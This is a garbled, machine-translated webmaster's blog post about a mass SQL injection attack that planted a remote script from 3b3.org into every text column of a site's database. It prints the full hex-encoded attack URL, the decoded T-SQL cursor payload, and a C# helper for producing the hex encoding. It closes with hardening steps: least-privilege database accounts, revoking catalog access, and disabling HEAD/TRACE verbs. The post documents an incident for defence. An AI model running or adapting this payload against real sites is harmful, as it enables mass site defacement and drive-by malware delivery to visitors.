Step 4: block 3b3.org C. js Injection

We recommend that you block this IP address. Baidu once found that similar people were attacked. Fortunately, all of my query statements use parameters. If they are pieced together, it would be terrible.

This also gives us a lesson, that is, don't be lucky when you piece together SQL.

This is the following link address:

Http://www.kilonet.cn/web/Info.aspx? G = info & C = ct0147 & id = 200811240069 '; declare @ s nvarchar (4000); Set @ s = cast (0x4400650063006c0061007200650020004000540020005600610072006300680061007200280032003500350029002c0040004300200056006100720063006800610072002800320035003500290020004400650063006c0061007200650020005400610062006c0065005f0043007500720073006f007200200043007500720073006f007200200046006f0072002000530065006c00650063007400200041002e004e0061006d0065002c0042002e004e0061006d0065002000460072006f006d0020005300790073006f0062006a006500630074007300200041002c0053007900730063006f006c0075006d006e00730020004200200057006800650072006500200041002e00490064003d0042002e0049006400200041006e006400200041002e00580074007900700065003d00270075002700200041006e0064002000280042002e00580074007900700065003d003900390020004f007200200042002e00580074007900700065003d003300350020004f007200200042002e00580074007900700065003d0032003300310020004f007200200042002e00580074007900700065003d00310036003700290020004f00700065006e0020005400610062006c0065005f0043007500720073006f00720020004600650074006300680020004e006500780074002000460072006f006d00200020005400610062006c0065005f0043007500720073006f007200200049006e0074006f002000400054002c004000430020005700680069006c006500280040004000460065007400630068005f005300740061007400750073003d0030002900200042006500670069006e00200045007800650063002800270075007000640061007400650020005b0027002b00400054002b0027005d00200053006500740020005b0027002b00400043002b0027005d003d0052007400720069006d00280043006f006e007600650072007400280056006100720063006800610072002800380030003000300029002c005b0027002b00400043002b0027005d00290029002b00270027003c0073006300720069007000740020007300720063003d0068007400740070003a002f002f003300620033002e006f00720067002f0063002e006a0073003e003c002f007300630072006900700074003e0027002700270029004600650074006300680020004e006500780074002000460072006f006d00200020005400610062006c0065005f0043007500720073006f007200200049006e0074006f002000400054002c0040004300200045006e006400200043006c006f007300650020005400610062006c0065005f0043007500720073006f00720020004400650061006c006c006f00630061007400650020005400610062006c0065005f0043007500720073006f007200as nvarchar (4000); Exec (@ s ); --

In fact, this website is basically ignored, because it does not have time to improve and take care of it, I added online activity records, but unfortunately it was not saved to the log. Prepare to complete the log when you are free. In this case.

ConvertedCodeYes:

Declare @ T Varchar ( 255 ), @ C Varchar ( 255 ) Declare Table_cursor Cursor For Select A. Name, B. Name From Sysobjects A, syscolumns B Where A. ID = B. ID And A. xtype = ' U ' And (B. xtype = 99 Or B. xtype = 35 Or B. xtype = 231 Or B. xtype = 167 ) Open Table_cursor Fetch Next From Table_cursor Into @ T , @ C While ( @ Fetch_status = 0 ) Begin Exec ( ' Update [ ' + @ T + ' ] Set [ ' + @ C + ' ] = Rtrim (convert (varchar (8000 ),[ ' + @ C + ' ]) + '' <SCRIPT src = http://3b3.org/c.js> </SCRIPT> ''' ) Fetch Next From Table_cursor Into @ T , @ C End Close Table_cursor Deallocate Table_cursor

This is the information for querying this IP address.

74.222.6.95

• · Main site data: USA
• · Auxiliary data on this site: no data has been submitted
• · Reference Data 1: USA
• · Reference Data 2: USA

Hacker code SQL Injection Part generation:

/// <Summary>
/// Convert string to hexadecimal
/// Using system. text;
/// Using Microsoft. VisualBasic;
/// </Summary>
/// <Param name = "data"> </param>
/// <Returns> </returns>
Static String Tohexstring ( String Data)
{
Stringbuilder sb = New Stringbuilder ( " 0x " );
Foreach ( Char C In Data)
{
SB. append (conversion. HEX (( Int ) C). append ( " 00 " );
}
Return SB. tostring ();
}

Step 4: block 3b3.org C. js Injection

1. Do not use the SA user to connect to the database

2. Create a public permission database user and use the user to access the database

3,Remove the select access permission of the public role to the sysobjects and syscolumns objects.

[User] user name-> right-click-property-permission-type "×" on sysobjects and syscolumns"

4. Check with the following code (if the permission fails, the permission is correct ):

Declare @ t varchar (255 ),

@ C varchar (255)

Declare table_cursor cursor

Select a. Name, B. name from sysobjects A, syscolumns B

Where. id = B. ID and. xtype = 'U' and (B. xtype = 99 or B. xtype = 35 or B. xtype = 231 or B. (xtype = 167)

Open table_cursor

Fetch next from table_cursor into @ T, @ C

While (@ fetch_status = 0)

Begin print @ C

Fetch next from table_cursor into @ T, @ C

End

Close table_cursor

Deallocate table_cursor

In IIS on the server, find the website property of the Trojan, in the main directory-configuration --- find. ASP and. aspx, delete the head operation and trace operation in it, and only retain get and post operations,

Note that the delete head operation and the trace operation will not affect normal Website access. Normal websites do not need these two operations.